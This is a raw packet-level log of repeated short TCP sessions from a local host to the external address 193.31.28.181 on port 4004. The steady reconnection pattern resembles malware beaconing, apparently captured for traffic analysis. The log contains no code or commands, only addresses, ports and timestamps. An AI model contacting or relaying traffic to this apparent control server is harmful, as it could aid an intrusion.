Jan 1, 2025 05:59:50.446620941 CET	4004	50135	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:50.446957111 CET	50135	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:50.446957111 CET	50135	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:50.451773882 CET	4004	50135	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:51.067703962 CET	4004	50135	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:51.068368912 CET	50135	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:51.073157072 CET	4004	50135	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:51.793052912 CET	50135	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:51.793504000 CET	50137	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:51.798037052 CET	4004	50135	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:51.798105001 CET	50135	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:51.798336029 CET	4004	50137	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:51.798407078 CET	50137	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:51.798588991 CET	50137	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:51.803356886 CET	4004	50137	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:52.416194916 CET	4004	50137	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:52.417881966 CET	50137	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:52.422633886 CET	4004	50137	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:53.130012989 CET	50137	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:53.131278038 CET	50139	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:53.135070086 CET	4004	50137	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:53.135123014 CET	50137	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:53.136082888 CET	4004	50139	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:53.136142015 CET	50139	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:53.136395931 CET	50139	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:53.141134977 CET	4004	50139	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:53.771651983 CET	4004	50139	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:53.778487921 CET	50139	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:53.783328056 CET	4004	50139	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:54.617893934 CET	50139	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:54.618232965 CET	50141	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:54.622940063 CET	4004	50139	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:54.623030901 CET	4004	50141	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:54.625952005 CET	50141	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:54.625953913 CET	50139	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:54.626199961 CET	50141	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:54.632217884 CET	4004	50141	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:55.273912907 CET	4004	50141	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:55.274457932 CET	50141	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:55.279295921 CET	4004	50141	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:56.062263012 CET	50141	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:56.062263012 CET	50143	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:56.067095995 CET	4004	50143	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:56.067332029 CET	4004	50141	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:56.067405939 CET	50141	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:56.067405939 CET	50143	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:56.067629099 CET	50143	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:56.072352886 CET	4004	50143	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:57.551178932 CET	4004	50143	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:57.551464081 CET	4004	50143	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:57.551513910 CET	50143	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:57.551738977 CET	4004	50143	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:57.551779985 CET	50143	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:57.551983118 CET	50143	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:57.555430889 CET	4004	50143	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:57.555473089 CET	50143	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:57.556754112 CET	4004	50143	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:58.347862959 CET	50145	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:58.347872019 CET	50143	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:58.352700949 CET	4004	50145	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:58.352797985 CET	4004	50143	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:58.352826118 CET	50145	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:58.353035927 CET	50145	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:58.353074074 CET	50143	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:58.357815981 CET	4004	50145	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:58.970357895 CET	4004	50145	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:58.973412991 CET	50145	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:58.978193045 CET	4004	50145	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:59.745089054 CET	50145	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:59.745395899 CET	50147	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:59.750128984 CET	4004	50145	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:59.750190020 CET	50145	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:59.750190973 CET	4004	50147	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:59.750252008 CET	50147	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:59.750494957 CET	50147	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:59.755305052 CET	4004	50147	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:00.379185915 CET	4004	50147	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:00.380424023 CET	50147	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:00.385214090 CET	4004	50147	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:01.113558054 CET	50147	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:01.113969088 CET	50149	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:01.118486881 CET	4004	50147	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:01.118530989 CET	50147	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:01.118726015 CET	4004	50149	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:01.118786097 CET	50149	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:01.119026899 CET	50149	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:01.123723030 CET	4004	50149	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:01.735282898 CET	4004	50149	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:01.735804081 CET	50149	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:01.740572929 CET	4004	50149	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:02.507983923 CET	50149	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:02.508640051 CET	50151	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:02.513046026 CET	4004	50149	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:02.513402939 CET	4004	50151	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:02.513497114 CET	50149	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:02.513562918 CET	50151	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:02.513813019 CET	50151	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:02.518513918 CET	4004	50151	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:03.134120941 CET	4004	50151	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:03.135010958 CET	50151	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:03.139770031 CET	4004	50151	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:03.886132002 CET	50151	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:03.886501074 CET	50153	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:03.891067028 CET	4004	50151	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:03.891190052 CET	50151	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:03.891341925 CET	4004	50153	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:03.891411066 CET	50153	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:03.891592979 CET	50153	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:03.896342993 CET	4004	50153	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:04.520263910 CET	4004	50153	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:04.521060944 CET	50153	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:04.525859118 CET	4004	50153	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:05.238096952 CET	50153	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:05.238611937 CET	50155	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:05.243207932 CET	4004	50153	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:05.243264914 CET	50153	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:05.243407011 CET	4004	50155	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:05.243472099 CET	50155	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:05.243671894 CET	50155	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:05.248683929 CET	4004	50155	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:05.872983932 CET	4004	50155	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:05.873526096 CET	50155	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:05.878420115 CET	4004	50155	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:06.628309965 CET	50155	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:06.628323078 CET	50157	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:06.633115053 CET	4004	50157	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:06.633299112 CET	4004	50155	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:06.633404970 CET	50157	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:06.633407116 CET	50155	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:06.633682966 CET	50157	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:06.638389111 CET	4004	50157	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:07.253950119 CET	4004	50157	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:07.254739046 CET	50157	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:07.259533882 CET	4004	50157	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:07.985255957 CET	50157	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:07.985630035 CET	50159	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:07.990397930 CET	4004	50157	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:07.990410089 CET	4004	50159	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:07.990475893 CET	50157	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:07.990506887 CET	50159	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:07.990688086 CET	50159	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:08.002635956 CET	4004	50159	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:08.653493881 CET	4004	50159	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:08.654375076 CET	50159	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:08.659136057 CET	4004	50159	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:09.392647982 CET	50159	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:09.393163919 CET	50161	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:09.397690058 CET	4004	50159	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:09.397733927 CET	50159	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:09.397911072 CET	4004	50161	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:09.397960901 CET	50161	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:09.398422956 CET	50161	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:09.403224945 CET	4004	50161	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:10.027712107 CET	4004	50161	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:10.033915997 CET	50161	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:10.038765907 CET	4004	50161	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:10.853923082 CET	50163	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:10.853923082 CET	50161	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:10.858778954 CET	4004	50163	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:10.858911991 CET	4004	50161	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:10.859005928 CET	50163	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:10.859005928 CET	50161	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:10.859257936 CET	50163	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:10.863976955 CET	4004	50163	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:11.505825996 CET	4004	50163	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:11.506778002 CET	50163	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:11.512862921 CET	4004	50163	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:12.311877012 CET	50163	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:12.312319994 CET	50165	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:12.316900015 CET	4004	50163	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:12.317028046 CET	50163	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:12.317240000 CET	4004	50165	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:12.317640066 CET	50165	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:12.317917109 CET	50165	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:12.322751045 CET	4004	50165	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:12.946306944 CET	4004	50165	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:12.951195955 CET	50165	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:12.955991030 CET	4004	50165	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:13.942523003 CET	50165	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:13.942995071 CET	50167	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:13.947535992 CET	4004	50165	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:13.947607994 CET	50165	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:13.947813988 CET	4004	50167	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:13.947871923 CET	50167	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:13.948116064 CET	50167	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:13.952934027 CET	4004	50167	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:14.570878029 CET	4004	50167	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:14.573921919 CET	50167	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:14.578849077 CET	4004	50167	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:15.385042906 CET	50167	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:15.385546923 CET	50169	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:15.390141964 CET	4004	50167	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:15.390193939 CET	50167	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:15.390343904 CET	4004	50169	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:15.390404940 CET	50169	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:15.390661001 CET	50169	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:15.395411015 CET	4004	50169	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:16.009664059 CET	4004	50169	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:16.010390043 CET	50169	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:16.015160084 CET	4004	50169	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:16.795331001 CET	50169	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:16.797929049 CET	50171	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:16.800403118 CET	4004	50169	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:16.802011013 CET	50169	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:16.802716017 CET	4004	50171	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:16.805985928 CET	50171	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:16.811239004 CET	50171	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:16.816004038 CET	4004	50171	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:17.421984911 CET	4004	50171	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:17.422533989 CET	50171	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:17.427423954 CET	4004	50171	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:18.168299913 CET	50171	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:18.168715954 CET	50173	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:18.173561096 CET	4004	50171	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:18.173579931 CET	4004	50173	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:18.173635006 CET	50171	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:18.173702002 CET	50173	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:18.173858881 CET	50173	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:18.178636074 CET	4004	50173	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:18.794245958 CET	4004	50173	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:18.798470020 CET	50173	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:18.803272009 CET	4004	50173	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:19.518152952 CET	50173	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:19.518481016 CET	50175	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:19.523231983 CET	4004	50173	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:19.523246050 CET	4004	50175	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:19.523283958 CET	50173	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:19.523332119 CET	50175	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:19.523564100 CET	50175	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:19.528321028 CET	4004	50175	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:20.163991928 CET	4004	50175	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:20.164705992 CET	50175	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:20.169487953 CET	4004	50175	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:20.886136055 CET	50175	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:20.886619091 CET	50177	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:20.891165018 CET	4004	50175	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:20.891273975 CET	50175	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:20.891407013 CET	4004	50177	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:20.891495943 CET	50177	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:20.891879082 CET	50177	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:20.896617889 CET	4004	50177	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:21.520963907 CET	4004	50177	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:21.521773100 CET	50177	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:21.526540995 CET	4004	50177	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:22.243500948 CET	50177	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:22.243973017 CET	50179	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:22.248509884 CET	4004	50177	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:22.248630047 CET	50177	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:22.248701096 CET	4004	50179	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:22.248769999 CET	50179	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:22.248982906 CET	50179	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:22.253690958 CET	4004	50179	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:22.872596979 CET	4004	50179	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:22.873270035 CET	50179	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:22.878108025 CET	4004	50179	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:23.582726955 CET	50179	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:23.583101034 CET	50181	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:23.587738037 CET	4004	50179	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:23.587793112 CET	50179	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:23.587908030 CET	4004	50181	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:23.587969065 CET	50181	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:23.588251114 CET	50181	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:23.593029976 CET	4004	50181	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:24.200036049 CET	4004	50181	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:24.200717926 CET	50181	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:24.205585957 CET	4004	50181	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:24.923841000 CET	50181	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:24.923841000 CET	50183	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:24.928622007 CET	4004	50183	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:24.928706884 CET	50183	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:24.928834915 CET	4004	50181	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:24.928994894 CET	50181	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:24.933022976 CET	50183	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:24.937871933 CET	4004	50183	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:25.545531988 CET	4004	50183	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:25.547158003 CET	50183	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:25.551992893 CET	4004	50183	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:26.427939892 CET	50183	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:26.428602934 CET	50185	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:26.433023930 CET	4004	50183	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:26.433274984 CET	50183	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:26.433360100 CET	4004	50185	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:26.433444977 CET	50185	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:26.433769941 CET	50185	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:26.438474894 CET	4004	50185	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:27.061289072 CET	4004	50185	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:27.061958075 CET	50185	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:27.066749096 CET	4004	50185	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:27.792843103 CET	50185	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:27.793699980 CET	50187	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:27.797947884 CET	4004	50185	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:27.797995090 CET	50185	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:27.798458099 CET	4004	50187	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:27.798511028 CET	50187	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:27.798755884 CET	50187	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:27.803466082 CET	4004	50187	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:28.439727068 CET	4004	50187	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:28.441946983 CET	50187	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:28.446803093 CET	4004	50187	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:29.180571079 CET	50187	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:29.181010008 CET	50189	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:29.185513020 CET	4004	50187	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:29.185555935 CET	50187	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:29.185760975 CET	4004	50189	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:29.185820103 CET	50189	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:29.186168909 CET	50189	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:29.190963030 CET	4004	50189	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:29.810033083 CET	4004	50189	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:29.810792923 CET	50189	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:29.815623999 CET	4004	50189	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:30.592956066 CET	50189	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:30.595963955 CET	50191	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:30.598278046 CET	4004	50189	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:30.600720882 CET	4004	50191	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:30.600805044 CET	50189	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:30.600805044 CET	50191	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:30.601475954 CET	50191	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:30.606264114 CET	4004	50191	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:31.240211010 CET	4004	50191	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:31.240927935 CET	50191	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:31.245815039 CET	4004	50191	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:32.001854897 CET	50191	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:32.006726027 CET	50193	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:32.007210970 CET	4004	50191	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:32.007281065 CET	50191	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:32.011610985 CET	4004	50193	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:32.011688948 CET	50193	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:32.011920929 CET	50193	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:32.016654968 CET	4004	50193	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:32.634552956 CET	4004	50193	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:32.637952089 CET	50193	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 06:00:32.642802954 CET	4004	50193	193.31.28.181	192.168.2.4
Jan 1, 2025 06:00:33.391504049 CET	50193	4004	192.168.2.4	193.31.28.181
